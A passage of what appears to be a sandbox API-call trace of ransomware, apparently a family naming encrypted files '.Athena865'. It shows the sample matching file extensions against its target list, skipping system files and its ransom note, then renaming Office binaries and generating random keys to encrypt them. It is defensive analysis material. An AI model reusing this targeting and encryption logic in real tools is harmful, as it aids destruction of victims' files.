(lpString="maf") returned 3 [0113.556] lstrcmpiW (lpString1="EXE", lpString2="maf") returned -1 [0113.556] lstrlenW (lpString="maq") returned 3 [0113.556] lstrcmpiW (lpString1="EXE", lpString2="maq") returned -1 [0113.556] lstrlenW (lpString="mar") returned 3 [0113.556] lstrcmpiW (lpString1="EXE", lpString2="mar") returned -1 [0113.556] lstrlenW (lpString="marshal") returned 7 [0113.556] lstrcmpiW (lpString1="LUA.EXE", lpString2="marshal") returned -1 [0113.556] lstrlenW (lpString="mas") returned 3 [0113.556] lstrcmpiW (lpString1="EXE", lpString2="mas") returned -1 [0113.556] lstrlenW (lpString="mav") returned 3 [0113.556] lstrcmpiW (lpString1="EXE", lpString2="mav") returned -1 [0113.556] lstrlenW (lpString="maw") returned 3 [0113.556] lstrcmpiW (lpString1="EXE", lpString2="maw") returned -1 [0113.556] lstrlenW (lpString="mdbhtml") returned 7 [0113.556] lstrcmpiW (lpString1="LUA.EXE", lpString2="mdbhtml") returned -1 [0113.557] lstrlenW (lpString="mdn") returned 3 [0113.557] lstrcmpiW (lpString1="EXE", lpString2="mdn") returned -1 [0113.557] lstrlenW (lpString="mdt") returned 3 [0113.557] lstrcmpiW (lpString1="EXE", lpString2="mdt") returned -1 [0113.557] lstrlenW (lpString="mfd") returned 3 [0113.557] lstrcmpiW (lpString1="EXE", lpString2="mfd") returned -1 [0113.557] lstrlenW (lpString="mpd") returned 3 [0113.557] lstrcmpiW (lpString1="EXE", lpString2="mpd") returned -1 [0113.557] lstrlenW (lpString="mrg") returned 3 [0113.557] lstrcmpiW (lpString1="EXE", lpString2="mrg") returned -1 [0113.557] lstrlenW (lpString="mud") returned 3 [0113.557] lstrcmpiW (lpString1="EXE", lpString2="mud") returned -1 [0113.557] lstrlenW (lpString="mwb") returned 3 [0113.557] lstrcmpiW (lpString1="EXE", lpString2="mwb") returned -1 [0113.557] lstrlenW (lpString="myd") returned 3 [0113.557] lstrcmpiW (lpString1="EXE", lpString2="myd") returned -1 [0113.557] lstrlenW (lpString="ndf") returned 3 [0113.557] lstrcmpiW (lpString1="EXE", lpString2="ndf") returned -1 [0113.557] lstrlenW (lpString="nnt") returned 3 [0113.557] lstrcmpiW (lpString1="EXE", lpString2="nnt") returned -1 [0113.557] lstrlenW (lpString="nrmlib") returned 6 [0113.557] lstrcmpiW (lpString1="UA.EXE", lpString2="nrmlib") returned 1 [0113.557] lstrlenW (lpString="ns2") returned 3 [0113.557] lstrcmpiW (lpString1="EXE", lpString2="ns2") returned -1 [0113.557] lstrlenW (lpString="ns3") returned 3 [0113.557] lstrcmpiW (lpString1="EXE", lpString2="ns3") returned -1 [0113.557] lstrlenW (lpString="ns4") returned 3 [0113.557] lstrcmpiW (lpString1="EXE", lpString2="ns4") returned -1 [0113.557] lstrlenW (lpString="nsf") returned 3 [0113.557] lstrcmpiW (lpString1="EXE", lpString2="nsf") returned -1 [0113.558] lstrlenW (lpString="nv") returned 2 [0113.558] lstrcmpiW (lpString1="XE", lpString2="nv") returned 1 [0113.558] lstrlenW (lpString="nv2") returned 3 [0113.558] lstrcmpiW (lpString1="EXE", lpString2="nv2") returned -1 [0113.558] lstrlenW (lpString="nwdb") returned 4 [0113.558] lstrcmpiW (lpString1=".EXE", lpString2="nwdb") returned -1 [0113.558] lstrlenW (lpString="nyf") returned 3 [0113.558] lstrcmpiW (lpString1="EXE", lpString2="nyf") returned -1 [0113.558] lstrlenW (lpString="odb") returned 3 [0113.558] lstrcmpiW (lpString1="EXE", lpString2="odb") returned -1 [0113.558] lstrlenW (lpString="odb") returned 3 [0113.558] lstrcmpiW (lpString1="EXE", lpString2="odb") returned -1 [0113.558] lstrlenW (lpString="oqy") returned 3 [0113.558] lstrcmpiW (lpString1="EXE", lpString2="oqy") returned -1 [0113.558] lstrlenW (lpString="ora") returned 3 [0113.558] lstrcmpiW (lpString1="EXE", lpString2="ora") returned -1 [0113.558] lstrlenW (lpString="orx") returned 3 [0113.558] lstrcmpiW (lpString1="EXE", lpString2="orx") returned -1 [0113.558] lstrlenW (lpString="owc") returned 3 [0113.558] lstrcmpiW (lpString1="EXE", lpString2="owc") returned -1 [0113.558] lstrlenW (lpString="p96") returned 3 [0113.558] lstrcmpiW (lpString1="EXE", lpString2="p96") returned -1 [0113.558] lstrlenW (lpString="p97") returned 3 [0113.558] lstrcmpiW (lpString1="EXE", lpString2="p97") returned -1 [0113.558] lstrlenW (lpString="pan") returned 3 [0113.558] lstrcmpiW (lpString1="EXE", lpString2="pan") returned -1 [0113.558] lstrlenW (lpString="pdb") returned 3 [0113.558] lstrcmpiW (lpString1="EXE", lpString2="pdb") returned -1 [0113.558] lstrlenW (lpString="pdm") returned 3 [0113.558] lstrcmpiW (lpString1="EXE", lpString2="pdm") returned -1 [0113.559] lstrlenW (lpString="pnz") returned 3 [0113.559] lstrcmpiW (lpString1="EXE", lpString2="pnz") returned -1 [0113.559] lstrlenW (lpString="qry") returned 3 [0113.559] lstrcmpiW (lpString1="EXE", lpString2="qry") returned -1 [0113.559] lstrlenW (lpString="qvd") returned 3 [0113.559] lstrcmpiW (lpString1="EXE", lpString2="qvd") returned -1 [0113.559] lstrlenW (lpString="rbf") returned 3 [0113.559] lstrcmpiW (lpString1="EXE", lpString2="rbf") returned -1 [0113.559] lstrlenW (lpString="rctd") returned 4 [0113.559] lstrcmpiW (lpString1=".EXE", lpString2="rctd") returned -1 [0113.559] lstrlenW (lpString="rod") returned 3 [0113.559] lstrcmpiW (lpString1="EXE", lpString2="rod") returned -1 [0113.559] lstrlenW (lpString="rodx") returned 4 [0113.559] lstrcmpiW (lpString1=".EXE", lpString2="rodx") returned -1 [0113.559] lstrlenW (lpString="rpd") returned 3 [0113.559] lstrcmpiW (lpString1="EXE", lpString2="rpd") returned -1 [0113.559] lstrlenW (lpString="rsd") returned 3 [0113.559] lstrcmpiW (lpString1="EXE", lpString2="rsd") returned -1 [0113.559] lstrlenW (lpString="sas7bdat") returned 8 [0113.559] lstrcmpiW (lpString1="CLUA.EXE", lpString2="sas7bdat") returned -1 [0113.559] lstrlenW (lpString="sbf") returned 3 [0113.559] lstrcmpiW (lpString1="EXE", lpString2="sbf") returned -1 [0113.559] lstrlenW (lpString="scx") returned 3 [0113.559] lstrcmpiW (lpString1="EXE", lpString2="scx") returned -1 [0113.559] lstrlenW (lpString="sdb") returned 3 [0113.559] lstrcmpiW (lpString1="EXE", lpString2="sdb") returned -1 [0113.559] lstrlenW (lpString="sdc") returned 3 [0113.559] lstrcmpiW (lpString1="EXE", lpString2="sdc") returned -1 [0113.559] lstrlenW (lpString="sdf") returned 3 [0113.559] lstrcmpiW (lpString1="EXE", lpString2="sdf") returned -1 [0113.560] lstrlenW (lpString="sis") returned 3 [0113.560] lstrcmpiW (lpString1="EXE", lpString2="sis") returned -1 [0113.560] lstrlenW (lpString="spq") returned 3 [0113.560] lstrcmpiW (lpString1="EXE", lpString2="spq") returned -1 [0113.560] lstrlenW (lpString="te") returned 2 [0113.560] lstrcmpiW (lpString1="XE", lpString2="te") returned 1 [0113.560] lstrlenW (lpString="teacher") returned 7 [0113.560] lstrcmpiW (lpString1="LUA.EXE", lpString2="teacher") returned -1 [0113.560] lstrlenW (lpString="tmd") returned 3 [0113.560] lstrcmpiW (lpString1="EXE", lpString2="tmd") returned -1 [0113.560] lstrlenW (lpString="tps") returned 3 [0113.560] lstrcmpiW (lpString1="EXE", lpString2="tps") returned -1 [0113.560] lstrlenW (lpString="trc") returned 3 [0113.560] lstrcmpiW (lpString1="EXE", lpString2="trc") returned -1 [0113.560] lstrlenW (lpString="trc") returned 3 [0113.560] lstrcmpiW (lpString1="EXE", lpString2="trc") returned -1 [0113.560] lstrlenW (lpString="trm") returned 3 [0113.560] lstrcmpiW (lpString1="EXE", lpString2="trm") returned -1 [0113.560] lstrlenW (lpString="udb") returned 3 [0113.560] lstrcmpiW (lpString1="EXE", lpString2="udb") returned -1 [0113.560] lstrlenW (lpString="udl") returned 3 [0113.560] lstrcmpiW (lpString1="EXE", lpString2="udl") returned -1 [0113.560] lstrlenW (lpString="usr") returned 3 [0113.560] lstrcmpiW (lpString1="EXE", lpString2="usr") returned -1 [0113.560] lstrlenW (lpString="v12") returned 3 [0113.560] lstrcmpiW (lpString1="EXE", lpString2="v12") returned -1 [0113.560] lstrlenW (lpString="vis") returned 3 [0113.560] lstrcmpiW (lpString1="EXE", lpString2="vis") returned -1 [0113.560] lstrlenW (lpString="vpd") returned 3 [0113.560] lstrcmpiW (lpString1="EXE", lpString2="vpd") returned -1 [0113.561] lstrlenW (lpString="vvv") returned 3 [0113.561] lstrcmpiW (lpString1="EXE", lpString2="vvv") returned -1 [0113.561] lstrlenW (lpString="wdb") returned 3 [0113.561] lstrcmpiW (lpString1="EXE", lpString2="wdb") returned -1 [0113.561] lstrlenW (lpString="wmdb") returned 4 [0113.561] lstrcmpiW (lpString1=".EXE", lpString2="wmdb") returned -1 [0113.561] lstrlenW (lpString="wrk") returned 3 [0113.561] lstrcmpiW (lpString1="EXE", lpString2="wrk") returned -1 [0113.561] lstrlenW (lpString="xdb") returned 3 [0113.561] lstrcmpiW (lpString1="EXE", lpString2="xdb") returned -1 [0113.561] lstrlenW (lpString="xld") returned 3 [0113.561] lstrcmpiW (lpString1="EXE", lpString2="xld") returned -1 [0113.561] lstrlenW (lpString="xmlff") returned 5 [0113.561] lstrcmpiW (lpString1="A.EXE", lpString2="xmlff") returned -1 [0113.561] wsprintfW (in: param_1=0x241d508, param_2="%s.%s" | out: param_1="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\LICLUA.EXE.Athena865") returned 76 [0113.561] MoveFileExW (lpExistingFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\LICLUA.EXE" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\liclua.exe"), lpNewFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\LICLUA.EXE.Athena865" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\liclua.exe.athena865"), dwFlags=0x1) returned 1 [0113.563] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\LICLUA.EXE.Athena865" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\liclua.exe.athena865"), dwDesiredAccess=0xc00e0000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x8a000080, hTemplateFile=0x0) returned 0x154 [0113.563] GetFileSizeEx (in: hFile=0x154, lpFileSize=0x241e418 | out: lpFileSize=0x241e418*=204168) returned 1 [0113.563] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x200300) returned 0x2b40020 [0113.564] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x6c) returned 0x538e10 [0113.564] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x80) returned 0x519cc8 [0113.564] CryptAcquireContextW (in: phProv=0x241d1c4, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x241d1c4*=0x519c40) returned 1 [0113.564] CryptGenRandom (in: hProv=0x519c40, dwLen=0x80, pbBuffer=0x241d1d8 | out: pbBuffer=0x241d1d8) returned 1 [0113.565] CryptReleaseContext (hProv=0x519c40, dwFlags=0x0) returned 1 [0113.565] CreateFileMappingW (hFile=0x154, lpFileMappingAttributes=0x0, flProtect=0x4, dwMaximumSizeHigh=0x0, dwMaximumSizeLow=0x32090, lpName=0x0) returned 0x17c [0113.568] MapViewOfFile (hFileMappingObject=0x17c, dwDesiredAccess=0x6, dwFileOffsetHigh=0x0, dwFileOffsetLow=0x0, dwNumberOfBytesToMap=0x32090) returned 0x170000 [0113.582] CryptAcquireContextW (in: phProv=0x241d174, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x241d174*=0x519c40) returned 1 [0113.583] CryptGenRandom (in: hProv=0x519c40, dwLen=0x80, pbBuffer=0x241d188 | out: pbBuffer=0x241d188) returned 1 [0113.583] CryptReleaseContext (hProv=0x519c40, dwFlags=0x0) returned 1 [0113.583] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x6c) returned 0x538d98 [0113.583] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x538d98 | out: hHeap=0x4f0000) returned 1 [0113.583] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x100) returned 0x54dd40 [0113.583] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x104) returned 0x530d20 [0113.583] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x54dd40 | out: hHeap=0x4f0000) returned 1 [0113.583] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x104) returned 0x530e38 [0113.583] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x208) returned 0x54dd40 [0113.584] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x530e38 | out: hHeap=0x4f0000) returned 1 [0113.584] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x54dd40 | out: hHeap=0x4f0000) returned 1 [0113.584] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x530d20 | out: hHeap=0x4f0000) returned 1 [0113.584] UnmapViewOfFile (lpBaseAddress=0x170000) returned 1 [0113.585] CloseHandle (hObject=0x17c) returned 1 [0113.585] CloseHandle (hObject=0x154) returned 1 [0113.585] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x538e10 | out: hHeap=0x4f0000) returned 1 [0113.586] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x519cc8 | out: hHeap=0x4f0000) returned 1 [0113.586] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x2b40020 | out: hHeap=0x4f0000) returned 1 [0113.587] FindNextFileW (in: hFindFile=0x529bd0, lpFindFileData=0x241e5f8 | out: lpFindFileData=0x241e5f8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc821f600, ftCreationTime.dwHighDateTime=0x1cbdfb3, ftLastAccessTime.dwLowDateTime=0xd776b9a0, ftLastAccessTime.dwHighDateTime=0x1d305eb, ftLastWriteTime.dwLowDateTime=0xc821f600, ftLastWriteTime.dwHighDateTime=0x1cbdfb3, nFileSizeHigh=0x0, nFileSizeLow=0x183d780, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="MSO.DLL", cAlternateFileName="")) returned 1 [0113.587] lstrcmpiW (lpString1="MSO.DLL", lpString2="HOW TO BACK YOUR FILES.exe") returned 1 [0113.587] lstrcmpiW (lpString1="MSO.DLL", lpString2="CUsersGustavoDesktopAthena865.exe") returned 1 [0113.587] lstrcmpiW (lpString1="MSO.DLL", lpString2=".") returned 1 [0113.587] lstrcmpiW (lpString1="MSO.DLL", lpString2="..") returned 1 [0113.587] lstrcmpiW (lpString1="MSO.DLL", lpString2="windows") returned -1 [0113.587] lstrcmpiW (lpString1="MSO.DLL", lpString2="bootmgr") returned 1 [0113.587] lstrcmpiW (lpString1="MSO.DLL", lpString2="temp") returned -1 [0113.587] lstrcmpiW (lpString1="MSO.DLL", lpString2="pagefile.sys") returned -1 [0113.587] lstrcmpiW (lpString1="MSO.DLL", lpString2="boot") returned 1 [0113.587] lstrcmpiW (lpString1="MSO.DLL", lpString2="ids.txt") returned 1 [0113.587] lstrcmpiW (lpString1="MSO.DLL", lpString2="ntuser.dat") returned -1 [0113.587] lstrcmpiW (lpString1="MSO.DLL", lpString2="perflogs") returned -1 [0113.587] lstrcmpiW (lpString1="MSO.DLL", lpString2="MSBuild") returned 1 [0113.587] lstrlenW (lpString="MSO.DLL") returned 7 [0113.587] lstrcpyW (in: lpString1=0x241e8b8, lpString2="MSO.DLL" | out: lpString1="MSO.DLL") returned="MSO.DLL" [0113.587] lstrlenW (lpString="MSO.DLL") returned 7 [0113.587] lstrlenW (lpString="Athena865") returned 9 [0113.587] lstrlenW (lpString=".dll") returned 4 [0113.587] lstrcmpiW (lpString1="MSO.DLL", lpString2=".dll") returned 1 [0113.587] lstrlenW (lpString=".lnk") returned 4 [0113.587] lstrcmpiW (lpString1="MSO.DLL", lpString2=".lnk") returned 1 [0113.587] lstrlenW (lpString=".ini") returned 4 [0113.587] lstrcmpiW (lpString1="MSO.DLL", lpString2=".ini") returned 1 [0113.587] lstrlenW (lpString=".sys") returned 4 [0113.587] lstrcmpiW (lpString1="MSO.DLL", lpString2=".sys") returned 1 [0113.587] lstrlenW (lpString="MSO.DLL") returned 7 [0113.587] lstrlenW (lpString="bak") returned 3 [0113.587] lstrcmpiW (lpString1="DLL", lpString2="bak") returned 1 [0113.588] lstrlenW (lpString="ba_") returned 3 [0113.588] lstrcmpiW (lpString1="DLL", lpString2="ba_") returned 1 [0113.588] lstrlenW (lpString="dbb") returned 3 [0113.588] lstrcmpiW (lpString1="DLL", lpString2="dbb") returned 1 [0113.588] lstrlenW (lpString="vmdk") returned 4 [0113.588] lstrcmpiW (lpString1=".DLL", lpString2="vmdk") returned -1 [0113.588] lstrlenW (lpString="rar") returned 3 [0113.588] lstrcmpiW (lpString1="DLL", lpString2="rar") returned -1 [0113.588] lstrlenW (lpString="zip") returned 3 [0113.588] lstrcmpiW (lpString1="DLL", lpString2="zip") returned -1 [0113.588] lstrlenW (lpString="tgz") returned 3 [0113.588] lstrcmpiW (lpString1="DLL", lpString2="tgz") returned -1 [0113.588] lstrlenW (lpString="vbox") returned 4 [0113.588] lstrcmpiW (lpString1=".DLL", lpString2="vbox") returned -1 [0113.588] lstrlenW (lpString="vdi") returned 3 [0113.588] lstrcmpiW (lpString1="DLL", lpString2="vdi") returned -1 [0113.588] lstrlenW (lpString="vhd") returned 3 [0113.588] lstrcmpiW (lpString1="DLL", lpString2="vhd") returned -1 [0113.588] lstrlenW (lpString="vhdx") returned 4 [0113.588] lstrcmpiW (lpString1=".DLL", lpString2="vhdx") returned -1 [0113.588] lstrlenW (lpString="avhd") returned 4 [0113.588] lstrcmpiW (lpString1=".DLL", lpString2="avhd") returned -1 [0113.588] lstrlenW (lpString="db") returned 2 [0113.588] lstrcmpiW (lpString1="LL", lpString2="db") returned 1 [0113.588] lstrlenW (lpString="db2") returned 3 [0113.588] lstrcmpiW (lpString1="DLL", lpString2="db2") returned 1 [0113.588] lstrlenW (lpString="db3") returned 3 [0113.588] lstrcmpiW (lpString1="DLL", lpString2="db3") returned 1 [0113.588] lstrlenW (lpString="dbf") returned 3 [0113.588] lstrcmpiW (lpString1="DLL", lpString2="dbf") returned 1 [0113.588] lstrlenW (lpString="mdf") returned 3 [0113.589] lstrcmpiW (lpString1="DLL", lpString2="mdf") returned -1 [0113.589] lstrlenW (lpString="mdb") returned 3 [0113.589] lstrcmpiW (lpString1="DLL", lpString2="mdb") returned -1 [0113.589] lstrlenW (lpString="sql") returned 3 [0113.589] lstrcmpiW (lpString1="DLL", lpString2="sql") returned -1 [0113.589] lstrlenW (lpString="sqlite") returned 6 [0113.589] lstrcmpiW (lpString1="SO.DLL", lpString2="sqlite") returned -1 [0113.589] lstrlenW (lpString="sqlite3") returned 7 [0113.589] lstrlenW (lpString="sqlitedb") returned 8 [0113.589] lstrlenW (lpString="xml") returned 3 [0113.589] lstrcmpiW (lpString1="DLL", lpString2="xml") returned -1 [0113.589] lstrlenW (lpString="$er") returned 3 [0113.589] lstrcmpiW (lpString1="DLL", lpString2="$er") returned 1 [0113.589] lstrlenW (lpString="4dd") returned 3 [0113.589] lstrcmpiW (lpString1="DLL", lpString2="4dd") returned 1 [0113.589] lstrlenW (lpString="4dl") returned 3 [0113.589] lstrcmpiW (lpString1="DLL", lpString2="4dl") returned 1 [0113.589] lstrlenW (lpString="^^^") returned 3 [0113.589] lstrcmpiW (lpString1="DLL", lpString2="^^^") returned 1 [0113.589] lstrlenW (lpString="abs") returned 3 [0113.589] lstrcmpiW (lpString1="DLL", lpString2="abs") returned 1 [0113.589] lstrlenW (lpString="abx") returned 3 [0113.589] lstrcmpiW (lpString1="DLL", lpString2="abx") returned 1 [0113.589] lstrlenW (lpString="accdb") returned 5 [0113.589] lstrcmpiW (lpString1="O.DLL", lpString2="accdb") returned 1 [0113.589] lstrlenW (lpString="accdc") returned 5 [0113.589] lstrcmpiW (lpString1="O.DLL", lpString2="accdc") returned 1 [0113.589] lstrlenW (lpString="accde") returned 5 [0113.589] lstrcmpiW (lpString1="O.DLL", lpString2="accde") returned 1 [0113.589] lstrlenW (lpString="accdr") returned 5 [0113.590] lstrcmpiW (lpString1="O.DLL", lpString2="accdr") returned 1 [0113.590] lstrlenW (lpString="accdt") returned 5 [0113.590] lstrcmpiW (lpString1="O.DLL", lpString2="accdt") returned 1 [0113.590] lstrlenW (lpString="accdw") returned 5 [0113.590] lstrcmpiW (lpString1="O.DLL", lpString2="accdw") returned 1 [0113.590] lstrlenW (lpString="accft") returned 5 [0113.590] lstrcmpiW (lpString1="O.DLL", lpString2="accft") returned 1 [0113.590] lstrlenW (lpString="adb") returned 3 [0113.590] lstrcmpiW (lpString1="DLL", lpString2="adb") returned 1 [0113.590] lstrlenW (lpString="adb") returned 3 [0113.590] lstrcmpiW (lpString1="DLL", lpString2="adb") returned 1 [0113.590] lstrlenW (lpString="ade") returned 3 [0113.590] lstrcmpiW (lpString1="DLL", lpString2="ade") returned 1 [0113.590] lstrlenW (lpString="adf") returned 3 [0113.590] lstrcmpiW (lpString1="DLL", lpString2="adf") returned 1 [0113.590] lstrlenW (lpString="adn") returned 3 [0113.590] lstrcmpiW (lpString1="DLL", lpString2="adn") returned 1 [0113.590] lstrlenW (lpString="adp") returned 3 [0113.590] lstrcmpiW (lpString1="DLL", lpString2="adp") returned 1 [0113.590] lstrlenW (lpString="alf") returned 3 [0113.590] lstrcmpiW (lpString1="DLL", lpString2="alf") returned 1 [0113.590] lstrlenW (lpString="ask") returned 3 [0113.590] lstrcmpiW (lpString1="DLL", lpString2="ask") returned 1 [0113.590] lstrlenW (lpString="btr") returned 3 [0113.590] lstrcmpiW (lpString1="DLL", lpString2="btr") returned 1 [0113.590] lstrlenW (lpString="cat") returned 3 [0113.590] lstrcmpiW (lpString1="DLL", lpString2="cat") returned 1 [0113.590] lstrlenW (lpString="cdb") returned 3 [0113.590] lstrcmpiW (lpString1="DLL", lpString2="cdb") returned 1 [0113.590] lstrlenW (lpString="ckp") returned 3 [0113.590] lstrcmpiW (lpString1="DLL", lpString2="ckp") returned 1 [0113.591] lstrlenW (lpString="cma") returned 3 [0113.591] lstrcmpiW (lpString1="DLL", lpString2="cma") returned 1 [0113.591] lstrlenW (lpString="cpd") returned 3 [0113.591] lstrcmpiW (lpString1="DLL", lpString2="cpd") returned 1 [0113.591] lstrlenW (lpString="dacpac") returned 6 [0113.591] lstrcmpiW (lpString1="SO.DLL", lpString2="dacpac") returned 1 [0113.591] lstrlenW (lpString="dad") returned 3 [0113.591] lstrcmpiW (lpString1="DLL", lpString2="dad") returned 1 [0113.591] lstrlenW (lpString="dadiagrams") returned 10 [0113.591] lstrlenW (lpString="daschema") returned 8 [0113.591] lstrlenW (lpString="db-journal") returned 10 [0113.591] lstrlenW (lpString="db-shm") returned 6 [0113.591] lstrcmpiW (lpString1="SO.DLL", lpString2="db-shm") returned 1 [0113.591] lstrlenW (lpString="db-wal") returned 6 [0113.591] lstrcmpiW (lpString1="SO.DLL", lpString2="db-wal") returned 1 [0113.591] lstrlenW (lpString="dbc") returned 3 [0113.591] lstrcmpiW (lpString1="DLL", lpString2="dbc") returned 1 [0113.591] lstrlenW (lpString="dbs") returned 3 [0113.591] lstrcmpiW (lpString1="DLL", lpString2="dbs") returned 1 [0113.591] lstrlenW (lpString="dbt") returned 3 [0113.591] lstrcmpiW (lpString1="DLL", lpString2="dbt") returned 1 [0113.591] lstrlenW (lpString="dbv") returned 3 [0113.591] lstrcmpiW (lpString1="DLL", lpString2="dbv") returned 1 [0113.591] lstrlenW (lpString="dbx") returned 3 [0113.591] lstrcmpiW (lpString1="DLL", lpString2="dbx") returned 1 [0113.591] lstrlenW (lpString="dcb") returned 3 [0113.591] lstrcmpiW (lpString1="DLL", lpString2="dcb") returned 1 [0113.591] lstrcmpiW (lpString1="DLL", lpString2="dct") returned 1 [0113.592] lstrcmpiW (lpString1="DLL", lpString2="dcx") returned 1 [0113.592] lstrcmpiW (lpString1="DLL", lpString2="ddl") returned 1 [0113.592] lstrcmpiW (lpString1=".DLL", lpString2="dlis") returned -1 [0113.592] lstrcmpiW (lpString1="DLL", lpString2="dp1") returned -1 [0113.592] lstrcmpiW (lpString1="DLL", lpString2="dqy") returned -1 [0113.592] lstrcmpiW (lpString1="DLL", lpString2="dsk") returned -1 [0113.592] lstrcmpiW (lpString1="DLL", lpString2="dsn") returned -1 [0113.592] wsprintfW (in: param_1=0x241d508, param_2="%s.%s" | out: param_1="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\MSO.DLL.Athena865") returned 73 [0113.592] MoveFileExW (lpExistingFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\MSO.DLL" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\mso.dll"), lpNewFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\MSO.DLL.Athena865" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\mso.dll.athena865"), dwFlags=0x1) returned 1 [0113.594] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\MSO.DLL.Athena865" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\mso.dll.athena865"), dwDesiredAccess=0xc00e0000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x8a000080, hTemplateFile=0x0) returned 0x154 [0113.594] GetFileSizeEx (in: hFile=0x154, lpFileSize=0x241e418 | out: lpFileSize=0x241e418*=25417600) returned 1 [0113.594] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x200300) returned 0x2b40020 [0113.595] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x6c) returned 0x538e10 [0113.595] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x80) returned 0x519cc8 [0113.595] CryptAcquireContextW (in: phProv=0x241d1c4, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x241d1c4*=0x519c40) returned 1 [0113.595] CryptGenRandom (in: hProv=0x519c40, dwLen=0x80, pbBuffer=0x241d1d8 | out: pbBuffer=0x241d1d8) returned 1 [0113.595] CryptReleaseContext (hProv=0x519c40, dwFlags=0x0) returned 1 [0113.596] CreateFileMappingW (hFile=0x154, lpFileMappingAttributes=0x0, flProtect=0x4, dwMaximumSizeHigh=0x0, dwMaximumSizeLow=0x183da80, lpName=0x0) returned 0x17c [0113.598] MapViewOfFile (hFileMappingObject=0x17c, dwDesiredAccess=0x6, dwFileOffsetHigh=0x0, dwFileOffsetLow=0x1800000, dwNumberOfBytesToMap=0x3da80) returned 0x170000 [0113.710] CryptAcquireContextW (in: phProv=0x241d174, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x241d174*=0x519c40) returned 1 [0113.710] CryptGenRandom (in: hProv=0x519c40, dwLen=0x80, pbBuffer=0x241d188 | out: pbBuffer=0x241d188) returned 1 [0113.710] CryptReleaseContext (hProv=0x519c40, dwFlags=0x0) returned 1 [0113.711] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x6c) returned 0x538d98 [0113.711] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x538d98 | out: hHeap=0x4f0000) returned 1 [0113.711] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x100) returned 0x54dd40 [0113.711] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x104) returned 0x530d20 [0113.711] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x54dd40 | out: hHeap=0x4f0000) returned 1 [0113.711] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x104) returned 0x530e38 [0113.711] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x208) returned 0x54dd40 [0113.711] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x530e38 | out: hHeap=0x4f0000) returned 1 [0113.711] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x54dd40 | out: hHeap=0x4f0000) returned 1 [0113.711] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x530d20 | out: hHeap=0x4f0000) returned 1 [0113.711] UnmapViewOfFile (lpBaseAddress=0x170000) returned 1 [0113.713] CloseHandle (hObject=0x17c) returned 1 [0113.713] CloseHandle (hObject=0x154) returned 1 [0113.713] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x538e10 | out: hHeap=0x4f0000) returned 1 [0113.713] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x519cc8 | out: hHeap=0x4f0000) returned 1 [0113.714] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x2b40020 | out: hHeap=0x4f0000) returned 1 [0113.723] FindNextFileW (in: hFindFile=0x529bd0, lpFindFileData=0x241e5f8 | out: lpFindFileData=0x241e5f8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xee94c400, ftCreationTime.dwHighDateTime=0x1cb7007, ftLastAccessTime.dwLowDateTime=0xd6225500, 